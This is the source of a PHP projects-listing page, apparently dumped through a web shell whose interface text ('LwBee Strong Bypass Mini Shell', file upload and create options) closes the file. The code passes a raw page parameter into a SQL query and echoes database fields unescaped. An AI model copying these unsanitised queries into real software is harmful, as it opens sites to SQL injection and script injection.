/home3/vehiclea/public_html/sreemahadevgroup9/project.php
<?php
$_SESSION['active'] = 'ProJect';
 include('header.php');

$limit = 10;
$sql = executework("SELECT COUNT(id) FROM project");  
  
$row = mysqli_fetch_row($sql);  
$total_records = $row[0];  
$total_pages = ceil($total_records / $limit);
if(!empty($_GET['page']))
{
    $page  = $_GET["page"]; 
      $start_from = ($page-1) * $limit;
  ?>
     <div class="hero-wrap" style="background-image: url('images/bg_1.jpg');">
      <div class="overlay"></div>
      <div class="container">
        <div class="row no-gutters slider-text align-items-center justify-content-center">
          <div class="col-md-9 ftco-animate text-center">
            <h6 class="breadcrumbs"><span class="mr-2"><a href="index.php">Home</a></span> <span>Projects</span></h6>
            <h1 class="mb-3 bread">Projects</h1>
          </div>
        </div>
      </div>
    </div>

    
    

    <section class="ftco-section bg-light" >
      <div class="container">
        <div class="row">
          <?php

            $select_projects = executework("SELECT * FROM project  LIMIT $start_from,$limit");
            while($row = mysqli_fetch_array($select_projects)){
          ?>
          <div class="col-md-4 ftco-animate" id="content">
            <div class="properties">
              <a href="project-single.php?project_id=<?= $row['id']?>" class="img img-2 d-flex justify-content-center align-items-center" style="background-image: url(Dashboard/<?= $row['image']?>);">
                <div class="icon d-flex justify-content-center align-items-center">
                  <span class="icon-search2"></span>
                </div>
              </a>
              <div class="text p-3">
                
                <div class="d-flex">
                  <div class="one">
                    <a href="project-single.php?project_id=<?= $row['id']?>" style="text-decoration: none;"><h5><?= strtoupper($row['name'])?></h5></a>
                  </div>
                </div>
                <p><?= substr($row['content'],0,150)?></p>
               
              
              </div>
            </div>
          </div>
          
         <?php
           }
         
         ?>
        </div>
  <?php
}
else{


?>
    <!-- END nav -->

    <div class="hero-wrap" style="background-image: url('images/bg_1.jpg');">
      <div class="overlay"></div>
      <div class="container">
        <div class="row no-gutters slider-text align-items-center justify-content-center">
          <div class="col-md-9 ftco-animate text-center">
            <p class="breadcrumbs"><span class="mr-2"><a href="index.php">Home</a></span> <span>Projects</span></p>
            <h1 class="mb-3 bread">Projects</h1>
          </div>
        </div>
      </div>
    </div>

    
    

    <section class="ftco-section bg-light" >
    	<div class="container">
    		<div class="row">
    			<?php

            $select_projects = executework("SELECT * FROM project   limit $limit");
            while($row = mysqli_fetch_array($select_projects)){
    			?>
    			<div class="col-md-4 ftco-animate" id="content">
    				<div class="properties">
    					<a href="project-single.php?project_id=<?= $row['id']?>" class="img img-2 d-flex justify-content-center align-items-center" style="background-image: url(Dashboard/<?= $row['image']?>);">
    						<div class="icon d-flex justify-content-center align-items-center">
    							<span class="icon-search2"></span>
    						</div>
    					</a>
    					<div class="text p-3">
    						
    						<div class="d-flex">
    							<div class="one">
		    						<a href="project-single.php?project_id=<?= $row['id']?>" style="text-decoration: none;"><h5><?= strtoupper($row['name'])?></h5></a>

                    <hr>
	    						</div>
    						</div>
    						<!-- <p> //substr($row['content'],0,50)?>...</p> -->
    					<!-- 	<hr> -->
    					
    					</div>
    				</div>
    			</div>
    			
    		 <?php
           }
         }
    		 ?>
    		</div>

       <!---- pagination start---->
       <?php
            if($limit > 9){
       ?>
    		<div class="row mt-5">
          <div class="col text-center">
            <div class="block-27">
              <ul>
               <?php if(!empty($total_pages)):for($i=1; $i<=$total_pages; $i++):  
            if($i == 1):?>
            <li  id="<?php echo $i;?>"><a href='project.php?page=<?php echo $i;?>'><?php echo $i;?></a></li> 
            <?php else:?>
            <li  id="<?php echo $i;?>"><a href='project.php?page=<?php echo $i;?>'><?php echo $i;?></a></li>
        <?php endif;?>          
<?php endfor;endif;?>
              
              </ul>
            </div>
          </div>
        </div>
        <?php
             }
        ?>
        <!---- pagination end ---->

    	</div>

    </section>

    <?php include('footer.php');?>





   
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File